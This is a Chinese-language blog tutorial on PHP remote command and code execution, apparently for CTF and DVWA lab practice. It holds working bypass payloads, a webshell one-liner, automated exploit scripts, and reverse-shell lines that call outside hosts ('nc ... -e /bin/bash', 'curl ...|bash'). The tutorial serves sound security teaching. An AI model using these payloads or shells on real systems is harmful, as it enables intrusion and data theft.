5470 字
27 分钟

RCE漏洞讲解

2025-12-07
浏览量 加载中...

漏洞原理#

RCE漏洞,通过不安全的api接口,可以让攻击者远程在系统平台中执行恶意命令和代码。

漏洞产生条件#

  1. 调用第三方组件存在的代码执行漏洞。
  2. 用户输入的内容作为系统命令的参数拼接到命令中。
  3. 对用户的输入过滤不严格。
  4. 可控变量或漏洞函数。

==RCE漏洞利用的两个前提条件:可控的参数,函数漏洞==

命令执行漏洞(Command Injection)#

原理#

该漏洞的出现是由于应用系统从设计上需要给用户提供指定的远程命令操作的接口,例如在防火墙的WEB界面中会存在一个故障排除功能,里面就会存在类似Ping操作的界面,若设计者未针对这类功能进行严格的控制检测,则可能导致攻击者提交恶意命令,从而控制后台,控制服务器。

命令执行危险函数#

PHP:system()、exec()、passthru()、shell()、shell_exec()、popen()、pcntl_exec()、proc_popen()、反引号等
python:eval exec subprocess os.system commands
Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec

系统命令执行函数#

system():能将字符串作为OS命令执行,且返回命令执行结果;

exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);

shell_exec():能将字符串作为OS命令执行,借用echo、print等输出结果

passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;

popen():打开进程文件指针,fgets获取内容->print_r输出内容

proc_open():与popen()类似,也是无回显

pcntl_exec():在当前进程空间执行指定程序;

反引号“:反引号“内的字符串会被解析为OS命令;

命令执行函数介绍#

system函数#

该函数会将执行的结果输出并将输出结果的最后一行作为字符串返回,如果执行失败则返回 fales。这个函数也是最常用的。

  1. 格式system ( string $command [, int &$return_var ] )
  2. 作用system函数执行给定的command命令,并将结果输出。第二个参数用于存储命令的返回状 态,这是一个可选参数。
  3. 示例
<?php
highlight_file(_FILE_);
system('pwd');
?>

exec函数#

该函数不会输出结果,但是会返回执行结果的最后一行,可以结合output进行结果的输出。

  1. 格式exec ( string $command [, array &$output [, int &$return_var ]] )
  2. 作用:执行一个外部程序,exec()执行command参数所指定的命令。
  3. 示例
<?php
highlight_file(_FILE_);
exec('pwd',$b);
var_dump($b); //打印变量的信息
?>

passthru函数#

Passthru函数是PHP中的一个执行外部程序的函数,它能够将外部程序的标准输出直接传递给浏览器。该函数只调用命令,并将运行的结果原封不动的输出,没有相应的返回值。

  1. 格式passthru($command);
  2. 示例
<?php
highlight_file(_FILE_);
passthru('ls')
?>

shell_exec函数#

该函数不会输出结果,返回执行结果,使用反引号(“)时调用的就是此函数

<?php
highlight_file(_FILE_);
var_dump(shell_exec('ls'));
?>

命令执行基础#

windows基础命令#

windows的基础命令就是在cmd中输入的命令,类似 ping、ipconfig等

ping //测试连通性
tracert //追踪路由
telnet //远程连接
dir //列出目录
ipconfig //查看ip
arp -a //查看路由表
calc //打开计算器
regedit //打开注册表
netstat -ano //查看服务器端口信息
whoami //查看当前有效用户名
net user //查看用户

linux基础命令#

平常使用的就是

cd //切换目录
ls //显示当前目录下的文件
ifconfig //查看IP地址
cat /etc/passwd //查看password文件内容
id //查看当前用户的id号
cat /etc/group //查看用户组文件内容
pwd //显示当前目录
uname -a //查看当前系统版本
natstat -pantu //查看当前服务器的端口信息
netstat -nr //查看网关和路由

命令连接符#

**windows和linux都支持的命令连接符:

  • cmd1 | cmd20 只执行cmd2 - cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行
  • cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2
  • cmd1 && cmd2 先执行cmd1cmd1执行成功后才执行cmd2,否则不执行cmd2 linux还支持分号
  • cmd1 ; cmd2 按顺序依次执行,先执行cmd1再执行cmd2

示例/dvwa#

low级别#

  1. 这里我们使用whoami查看用户,但是如果在这里直接输入whoami,命令没有被执行。这时候我们就可以使用命令连接符
    800
  2. 当我们在此处使用| whoami命令连接符时,命令被执行。使用|只会执行后面的。
    800

Medium级别#

这里对&&进行了过滤,使用其他连接符即可

800

high级别#

这里就对|&都进行了过滤,不过把|后面的空格去掉就行了|whoami,应该只地对单独的连接符进行了过滤。后面看成是一个整体了。

800

代码执行漏洞(Code execution)#

原理#

由于应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,则会导致代码执行漏洞的发生

漏洞危害#

  1. 控制受害者的系统:攻击者可以利用漏洞控制受害者的系统,并对其进行各种恶意操作,如上传、下 载、删除、修改文件等,甚至可以利用该漏洞构建僵尸网络、挖掘加密货币等。
  2. 窃取敏感信息:攻击者可以通过该漏洞窃取受害者系统中的敏感信息,如账号、密码、财务信息等。
  3. 进行后门植入:攻击者可以利用漏洞在系统中植入后门,以便在未来任何时间进行下一步的攻击。

代码执行函数介绍#

代码执行函数#

eval():将字符串作为php代码执行;

assert():将字符串作为php代码执行;

preg_replace():正则匹配替换字符串;

create_function():主要创建匿名函数;

call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;

call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;

${}执行代码#

该执行代码会将中间的PHP代码进行解析

<?php
${<?-- -->phpinfo()>};
?>

eval函数#

该函数会将字符串当作函数进行执行,但是需要传入一个完整的语句,并且必须以;分号为结尾,也是最常见的函数

<?php
eval('echo "hello world";');
?>
//恶意代码示例
//<?php eval($_POST['a']);?>

assert函数#

该函数是判断是否为字符串,如果是则当成代码执行。在php7.0.29之后的版本不支持动态调用

与eval稍有不同的是,传入的PHP代码不需要以分号结尾。

//低版本
<?php
assert($_POST['a'])
?>;
//7.0.29之后
<?php
$a = 'assert';
$a(phpinfo());
?>

array_map函数#

该函数是为数组的每个元素应用回调函数

<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>
构建的payload
?a=assert&b=phpinfo();

preg_replace#

用来执行一个正则表达式的搜索和替换。执行代码需要使用==/e== 修饰符。前提是不超过PHP7

<?php
echo(preg_replace("/test/",$_POST['a'],"just test"));
?>

call_user_func#

回调函数,可以使用is_callable查看是否可以进行调用

<?php
call_user_func("assert",$_POST['a']);
?>

call_user_func_array#

回调函数,参数为数组 格式:call_user_func_array ( callable $callback , array $param_arr ) 第一个参数作为回调函数(callback)调用
把参数数组作(param_arr)为回调函数的的参数传入

<?php
highlight_file(__FILE__);
$array[0] = $_POST['a'];
call_user_func_array("assert",$array);
?>

create_function#

用来创建匿名函数 格式:create_function(string $args,string $code)

  • args是要创建的函数的参数
  • code是函数内的代码
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload

?sort_by="]);}phpinfo();/*

示例#

eval函数示例#

看到此页面,直接在框框里输入phpinfo();试一下,后面要跟分号。看到代码被执行。

800

assert函数示例#

eval类似,不过分号可以省略。也是直接在框框里输入phpinfo()。代码被执行。

800

call_user_func函数示例#

看到这个页面就知道与上面两个有所区别,这里有两个可控参数,第一个是被调用函数。第二则是被调用函数的参数。 我们在第一个框里输入system,第二则是ls,可以看到代码成功执行。

800

RCE绕过#

管道符#

管道符写法描述实例
;A;B无论真假,A与B都执行ls;id
&A&B无论真假,A与B都执行ls&id
&&A&&BA为真时才执行B,否则只执行Als&&id
|A|B将A的结果作为B的参数,显示B的结果ls|id
||A||BA为假时才执行B,否则只执行Als|id

空格过滤#

以下可代替空格
<<>%20(即space)
%09(即tab)IFSIFS9${IFS}
$IFS{cat,/flag}

关键字过滤#

通配符绕过#

?* ? 在linux里面可以进行代替字母。?仅代表单个字符串,但此单字必须存在

Terminal window
# 假如flag被过滤
cat fl?g.php
cat ????.???

* 在linux里面可以进行模糊匹配。*可以代表任何字符串

Terminal window
# 假如flag被过滤
cat f*

单引号过滤#

Terminal window
# 假如tac和flag被过滤
t""ac fl""ag.p""hp
ta''c fl''ag.p''hp"

反斜杆\绕过#

把特殊字符去功能性,单纯表示为字符串。在linux中是命令连接符

Terminal window
# 过滤flag
tac fl\ag.p\hp
# 过滤tac
t\ac flag.php

特殊变量#

特殊变量:$1$9$@$*

Terminal window
# 过滤flag
cat fl$1ag.p$2hp
# 过滤cat
c$@at flag.php

内联执行#

自定义字符串,再拼接起来

Terminal window
# 过滤flag
a=f;b=la;c=g.p;d=hp;tac $a$b$c$d
a=f;b=la;c=g.t;d=xt;e=c;f=at;$e$f $a$b$c$d

cat替换#

tac与cat相反,按行反向输出tac flag.php
more按页显示,用于文件内容较多且不能滚动屏幕时查看文件more flag.php
less与more类似less flag.php
tail查看文件末几行tail flag.php
head查看文件首几行head flag.php
nl在cat查看文件的基础上显示行号nl flag.php
od以二进制方式读文件,od -A d -c /flag转人可读字符od flag.php
od -A d -c flag.php
xxd以二进制方式读文件,同时有可读字符显示xxd flag.php
sort排序文件sort flag.php
uniq报告或删除文件的重复行uniq flag.php
file -f报错文件内容file -f flag.php
grep过滤查找字符串,grep flag /flaggrep fl fla*
dd读磁盘的信息,顺便给了目录信息dd if=flag.php

编码绕过#

base64编码

Terminal window
# Y2F0IGZsYWcucGhw为cat flag.php。bash可以使用sh、/bin/bash替换
echo Y2F0IGZsYWcucGhw | base64 -d | bash
`echo Y2F0IGZsYWcucGhw | base64 -d`
$(echo Y2F0IGZsYWcucGhw | base64 -d)

base32编码

Terminal window
# 编码为cat flag.php
echo MNQXIIDGNRQWOLTQNBYA==== | base64 -d | bash

HEX编码

Terminal window
# 编码为cat flag.php
echo 63617420666c61672e706870 |xxd -r -p |bash

shellcode编码

Terminal window
# 编码为tac flag.php
printf "\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"|bash

无回显RCE#

相关命令

sleep5秒后返回结果sleep 5
awk NR逐行获取数据cat flag.php | awk NR==1
cut -c逐列获取单个字符cat flag.php | awk NR==1 |cut -c 1
if判断命令是否执行if [ 2 > 1 ];then echo “right”;fi
payload
Terminal window
if [ $(cat flag.php | awk NR==1 | cut -c 1) == f ];then sleep 2;fi

脚本

import requests
import time
url = "http://192.168.1.6:19080/class08/1.php"
result = ""
for i in range(1,5):
for j in range(1,55):
#ascii鐮佽〃
for k in range(32,128):
k=chr(k)
#time.sleep(0.1)
payload = "?cmd=" + f"if [ `cat flag.php | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + k
print(result)
break
result += " "
Terminal window
# 无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
ls / | tee 1.txt
cat /flag | tee 2.txt
# eval()无输出
eval(print`c\at /flag`;)

绕过长度限制#

绕过长度7#

通过创建文件名,和结合ls -t写进文件执行命令 >创建很短的文件名 ls -t按时间顺序列出文件名,按行储存 \连接换行命令 sh从文件中读取命令 假如要执行命令是

Terminal window
cat flag|nc 172.25.19.202 7777
>7777
>\ \\
>202\\
>19.\\
>25.\\
>172.\\
>c\ \\
>\|n\\
>flag\\
>t\ \\
>ca\\

此时服务器有这么些文件

700
再通过ls -t把得到的结果写进a里面

Terminal window
ls -t>a

700
最后再执行文件a

Terminal window
sh a

成功得到flag

700
脚本

#encoding:utf-8
import time
import requests
baseurl = "http://192.168.1.6:19080/class09/2/index.php?cmd="
s = requests.session()
list=[
'>7777',
'>1\%20\\',
'>16\\',
'>1.\\',
'>168.\\',
'>2.\\',
'>19\\',
'>c\%20\\',
'>\|n\\',
'>ag\\',
'>fl\\',
'>t\ \\',
'>ca\\',
'ls -t>a'
]
for i in list:
time.sleep(1)
url = baseurl+str(i)
s.get(url)
s.get(baseurl+"sh a")

绕过长度5#

700
通过远程下载文件执行命令,在要下载的文件写上命令(反弹shell) 步骤一:构造ls -t>y

Terminal window
>ls\\
ls>_
>\ \\
>-t\\
>\>y
ls>>_

步骤二:分解命令,创建文件 要执行的命令

Terminal window
curl 172.25.19.202|bash
>bash
>\|\\
>02\\
>.2\\
>19\\
>5.\\
>2\\
>2.\\
>17\\
>rl\\
>cu\\

步骤三:执行脚本sh

Terminal window
sh _
sh y

准备工作

  1. 开启监听端口
  2. 创建index.html文件
Terminal window
nc 172.25.19.202 7777 -e /bin/bash
  1. 开启服务 脚本
#encoding:utf-8
import time
import requests
baseurl = "http://192.168.1.6:19080/class09/3/index.php?cmd="
s = requests.session()
# 将ls -t 写入文件_
list=[
">ls\\",
"ls>_",
">\ \\",
">-t\\",
">\>y",
"ls>>_"
]
# curl 192.168.1.161/1|bash
list2=[
">bash",
">\|\\",
">\/\\",
">61\\",
">1\\",
">1.\\",
">8.\\",
">16\\",
">2.\\",
">19\\",
">\ \\",
">rl\\",
">cu\\"
]
for i in list:
time.sleep(1)
url = baseurl+str(i)
s.get(url)
for j in list2:
time.sleep(1)
url = baseurl+str(j)
s.get(url)
s.get(baseurl+"sh _")
s.get(baseurl+"sh y")

绕过长度4#

前置知识: dir:按列输出文件名,不换行。 *:相当于$(dir *) *如果第一个文件是命令的话就会执行命令,返回执行的结果,之后的文件名作为参数传入 rev:可以反转文件每一行的内容。

步骤一:构造ls -t>g

Terminal window
# 避免原有的文件影响命令执行
>g\;
>g\>
>ht-
>sl
>dir
*>v
# 倒序排列
>rev
*v>x

步骤二:构造一个反弹shell

Terminal window
curl 192.168.220.20|bash
# 上面不行,要使用16进制
curl 0xc0a8dc14|bash
>ash
>b\
>\|\
>14\
>dc\
>a8\
>c0\
>0x\
>\ \
>rl\
>cu\
sh x
sh g

步骤三:反弹回来的shell查看flag

准备工作

  1. 开启监听端口
    Terminal window
    nc -lvvp 7777
  2. 创建index.html文件。目标靶机curl下载index.html,交给bash执行,反弹shell
    Terminal window
    nc 192.168.220.20 7777 -e /bin/bash
  3. 开启http.server 监听80端口
    python -m http.server 80
  4. 执行脚本 脚本
#encoding:utf-8
import time
import requests
baseurl = "http://192.168.20.129:18088/class09/4/ffff.php?cmd="
s = requests.session()
# 将ls -t 写入文件g
list=[
">g\;",
">g\>",
">ht-",
">sl",
">dir",
"*>v",
">rev",
"*v>x"
]
# curl 192.168.1.161|bash
list2= [
">ash",
">b\\",
'>\|\\',
'>14\\',
'>dc\\',
'>a8\\',
'>C0\\',
'>0x\\',
'>\ \\',
'>rl\\',
'>cu\\'
]
for i in list:
time.sleep(1)
url = baseurl+str(i)
s.get(url)
for j in list2:
time.sleep(1)
url = baseurl+str(j)
s.get(url)
s.get(baseurl+"sh x")
s.get(baseurl+"sh g")

无参数RCE#

http请求标头#

通过 getallheaders():获取所有HTTP请求标头 然后通过end或者pos去取值

# pos()把第一项的值显示出来
?code=print_r(pos(getallheaders()));
# end()把最后一项的值显示出来
?code=print_r(end(getallheaders()));

apache_request_headers():功能与getallheaders()相似、适用于apache服务器

利用全局变量RCE(php5/7)#

get_defined_vars():返回所有已定义变量的值,所组成的数组

?code=eval(end(pos(get_defined_vars())));&cmd=system('ls');

利用session#

session_start:启动新会话或者重用现有会话,成功开始会话返回True,反之返回flase。

?code=show_source(session_id(session_start()));

然后修改PHPSESSID的值为./flag,再使用show_source读取flag文件源代码。

700
如果要执行命令,需要把要执行的命令通过hex编码转十六进制,写入PHPSESSID

?code=eval(hex2bin(session_id(session_start())));

700

scandir读取#

scandir():类似ls,在某文件路径下,把内容以列表形式显示出来

scandir() 列出指定路径中的文件和目录(PHP 5, PHP 7, PHP 8)
getcwd() 取得当前工作目录(PHP 4, PHP 5, PHP 7, PHP 8)
current() 返回数组中的当前值(PHP 4, PHP 5, PHP 7, PHP 8)
array_reverse() 返回单元顺序相反的数组(PHP 4, PHP 5, PHP 7, PHP 8)
array_flip() 交换数组中的键和值(PHP 4, PHP 5, PHP 7, PHP 8)
next() 将数组中的内部指针向前移动(PHP 4, PHP 5, PHP 7, PHP 8)
array_rand 从数组中随机取出一个或多个随机键
chdir() 系统调用函数(同cd),用于改变当前工作目录
strrev() 用于反转给定的字符串
crypt() —用来来加密,目前Linux平台上加密的方法大致有MD5, DES, 3 DES
hebrevc() 把希伯来文本从右至左的流转换为左至右的流。
localeconv() 获取当前地域的数字和货币格式信息。显示的数组第一项为"."
show_source() 对文件进行语法高亮显示
highlight_file() 对文件内容进行 PHP 语法高亮显示
dirname() 返回路径中的目录部分 上一级目录

例题

<?php
error_reporting(0);
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
    eval($_GET['code']);
}
?>

payload:

highlight_file(current(array_reverse(scandir(current(localeconv())))));

800

根目录

# 此时通过crypt随机加密可能可以得到"\",不过\在最后面,可以通过strrev反转字符串
print_r(strrev(crypt(serialize(array()))));

700
ord() 函数和chr() 函数 只能对第一个字符进行转码 ord()编码,chr()解码

print_r(chr(ord(strrev(crypt(serialize(array()))))));

700
最终payload

highlight_file(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));

无字母数字RCE#

异或绕过#

脚本

# 异或构造Python脚本
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer = input('输入异或构造的字符串:')
tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if ord(i) ^ ord(j) == ord(c):
tmp1 += i
tmp2 += j
break
else:
continue
break
print(f'"{tmp1}"^"{tmp2}"')
def generate_xor_payload(target_str):
""" 将目标字符串转换为PHP异或表达式 格式: "A"^"B" 其中A和B仅包含非字母数字字符 """# 定义安全字符集(非字母数字的可见ASCII字符)
safe_chars = [c for c in range(32, 127)
if not (48 <= c <= 57 or 65 <= c <= 90 or 97 <= c <= 122)]
# 移除双引号(34)避免冲突,保留反斜杠(92)但需要转义
safe_chars = [c for c in safe_chars if c != 34]
left_parts = []
right_parts = []
for char in target_str:
target_code = ord(char)
found = False
# 尝试查找合适的字符对
for a in safe_chars:
b = a ^ target_code
if b in safe_chars:
left_parts.append(chr(a))
right_parts.append(chr(b))
found = True
break
if not found:
# 尝试使用两次异或(如果需要)
for a in safe_chars:
for c in safe_chars:
b = a ^ target_code ^ c
if b in safe_chars:
left_parts.append(chr(a))
right_parts.append(chr(b))
found = True
break
if found:
break
if not found:
raise ValueError(f"无法为字符 '{char}' (ASCII {target_code}) 找到合适的异或对")
# 构建PHP字符串,处理反斜杠转义
left_str = ''.join(left_parts).replace('\\', '\\\\')
right_str = ''.join(right_parts).replace('\\', '\\\\')
return f'"{left_str}"^"{right_str}"'
def generate_full_payload(command):
""" 生成完整的PHP payload 格式: $_ = [函数异或]; $__ = [参数异或]; $_($__); """# 分解命令为函数和参数
if '(' in command and ')' in command:
func = command.split('(')[0]
args = command.split('(')[1].rstrip(')')
else:
func = command
args = ""
try:
func_payload = generate_xor_payload(func)
args_payload = generate_xor_payload(args)
php_code = f'$_ = {func_payload};'
if args:
php_code += f'$__ = {args_payload};'
php_code += '$_($__);'
else:
php_code += '$_();'
return php_code
except ValueError as e:
return f"生成失败: {e}"
def main():
print("PHP非字母数字异或Payload生成器")
print("=" * 50)
while True:
try:
command = input("\n请输入要执行的命令 (例如 system('ls'), system('cat /flag')): ").strip()
if not command:
print("输入不能为空,请重新输入")
continue
payload = generate_full_payload(command)
print("\n生成的PHP代码:")
print(payload)
# URL编码
from urllib.parse import quote
url_encoded = quote(payload)
print("\nURL编码结果:")
print(url_encoded)
print("\n" + "=" * 50)
except KeyboardInterrupt:
print("\n\n已退出")
break
if __name__ == "__main__":
main()

实例:

# phpinfo
?cmd=$_="+(+).&/"^"[@[@@@@";$_();
# 进行url编码
?cmd=%24_%3D%22%2B(%2B).%26%2F%22%5E%22%5B%40%5B%40%40%40%40%22%3B%24_()%3B

php5

# assert($_POST['_']);
<?php
$a = 'assert';
$b = '_POST';
$c = $$b; // $c = $_POST
$a($c['_']); // assert($_POST['_']);
?>
# 替换成
<?php
$_ = "!((%)("^")@[[@[\\";
$__ = "!+/(("^")~{`{|";
$___ = $$__;
$_($___['_']);
?>
# 最终payload
?cmd=$_="!((%)("^"@[[@[\\";$__="!+/(("^"~{`{|";$___=$$__;$_($___['_']);
# 然后post提交_=system('ls');

php7

# `$_POST[_]`;
<?php
$_ = '_POST';
$__ = $$_;
`$__[_]`;
?>
# 最终payload
?cmd=$_="!+/(("^"~{`{|";$__=$$_;`$__[_]`;
# 然后post提交_=nc 172.25.19.202 7777 -e /bin/bash;

取反绕过#

php7 脚本

<?php
$a = "system";
$b = "cat /flag";
$c = urlencode(~$a);
$d = urlencode(~$b);
//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>

php5 assert 取反url编码:%9e%8c%8c%9a%8d%8b

<?php
$_=~("%9e%8c%8c%9a%8d%8b");
$__=~("%A0%AF%B0%AC%AB");
$___=$$__;
$_($___[_]);
?
# 最终payload,不需要再URL编码
?cmd=$_=~("%9e%8c%8c%9a%8d%8b");$__=~("%A0%AF%B0%AC%AB");$___=$$__;$_($___[_]);
#post提交
_=system('ls');

自增绕过#

payload

//自增payload,assert($_POST[_]),命令传入_
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();

原理:

$_ = [];
echo $_;
# 此时$_输出Array,只不过此时一个数组,并不是字符串。但是可以通过加一个字符串就变成了字符串Array。
$_ = [].'';
echo $_;
# 现在输出的就是字符串Array

现在我们得到了字符串Array,那我们要怎么取呢,如果正常取应该是$_[0],但关键是我们不能取0,此时就可以通过false,因为false也有0的意思。那么就可以用一个不存在的变量$__,因为变量不存在,就是false,假值0

$_ = [].'';
$_ = @"$_";
$___ = ($_[$__]);
echo $___;
// 输出A

那有字母A了有什么用呢?可以使用自增++

$_ = 'A'
echo ++$_
//输出 B

可以看到上面通过++变量的值A变成了B,那么如果我们要其他字母,就可以继续通过++也获取。也就是说只要获取A,就可以自增获取BCD

注意:++\_先累加再输出,\_++先输出再累加

那么好,此时我们构造一个assert($_POST[_]);

$_ = [].'';
//$_ = @"$_";
$___ = ($_[$__]);
$__ = $___;
$_ = $__;
++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;
$__=$__.$_.$_;
$_=$___;
++$_;++$_;++$_;++$_;
$__=$__.$_;
++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;
$__=$__.$_;
++$_;++$_;
$__=$__.$_;
$_=$___;
++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;
$____ ='_';
$____=$____.$_;
$_=$___;
++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;
$____=$____.$_;
++$_;++$_;++$_;++$_;
$____=$____.$_;
++$_;
$____=$____.$_;
$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;
// 然后post提交
_=system('ls');

脚本

<?php
highlight_file(__FILE__);
$cmd = strtoupper($_GET['cmd']);
$cmd2 = strtoupper($_GET['post']);
function POC($cmd){    $i = 0;    $POC_pat1 = "\$__=\$___;";    $POC_pat2 = "\$_ .=\$__;";
    while ($i<strlen($cmd)){        $str1 = $cmd[$i];        $POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10);
        if ($i<1) {            $POC_pat3 = str_repeat("++\$__;",$POC1);
            echo $POC_pat3;
        }else{            $str2 = $cmd[$i-1];
            if($str1==$str2){                $POC_pat5 = $POC_pat2;
                echo $POC_pat5;
            }else{                $POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
                echo $POC_pat6;
            }
        }        $i++;
    }
}
function POC2($cmd){    $i = 0;
    echo '$____ = "_";$__=$___;';    $POC_pat1 = "\$__=\$___;";    $POC_pat2 = "\$____ .=\$__;";
    while ($i<strlen($cmd)){        $str1 = $cmd[$i];        $POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10);
        if ($i<1) {            $POC_pat3 = str_repeat("++\$__;",$POC1).$POC_pat2;
            echo $POC_pat3;
        }else{            $str2 = $cmd[$i-1];
            if($str1==$str2){                $POC_pat5 = $POC_pat2;
                echo $POC_pat5;
            }else{                $POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
                echo $POC_pat6;
            }
        }        $i++;
    }
}
if (!empty($cmd)){    $POC_pat7 = "\$_=[].'';\$___=\$_[\$__];\$__=\$___;\$_=\$___;";
    echo $POC_pat7;    POC($cmd);
}
if (!empty($cmd2)){    POC2($cmd2);
}

过滤_#

payload:

?cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=pwd
?cmd=?><?=`{${~"%a0%af%b0%ac%ab"}["-"]}`?>
// post提交
-=ls

构建文件上传数据包#

php7 使用call_user_func() 然后取反

(~%9C%9E%93%93%A0%8A%8C%9A%8D%A0%99%8A%91%9C)(~%8C%86%8C%8B%9A%92,~%91%9C%DF%CE%C8%CD%D1%CD%CA%D1%CE%C6%D1%CD%CF%CD%DF%C8%C8%C8%C8%DF%D2%9A%DF%D0%9D%96%91%D0%9D%9E%8C%97
,'');
(call_user_func)(system,nc 172.25.19.202 7777 -e /bin/bash,'');

php5

  • 步骤一:先构造一个文件上传的POST数据包;
  • 步骤二:PHP页面生成临时文件phpXXXXXX,存储在/tmp目录下;
  • 步骤三:执行指令 ./???/??????[@-[],读取文件,执行其中指令;
  • 步骤四:在上传的文件中写入一句话木马,把木马生成位置指定一个绝对路径,直接执行;

php中post上传文件会把我们上传的文件暂时存在 /tmp目录下,默认文件名是phpXXXXX,文件名最后6个字符是随机的大小写字母。 当我们传入文件执行时可用

. /???/?????????

但是使用?能匹配的文件太多了,可能会报错。但由于 PHP 生成的 tmp 文件最后一位是随机的大小写字母可以重构命令

. /???/????????[@-[]
//[@-[]表示ascii在@和[之间的字符,也就是大写字母

最后就可以执行写入的恶意命令 创建一个html文件进行上传

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="题目链接" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

成功执行

700

RCE漏洞讲解
https://dnnwl.pages.dev/posts/rce代码及命令执行/
作者
dnw
发布于
2025-12-07
许可协议
CC BY-NC-SA 4.0
最后更新于 2025-12-07,距今已过 11 天

部分内容可能已过时

评论区

目录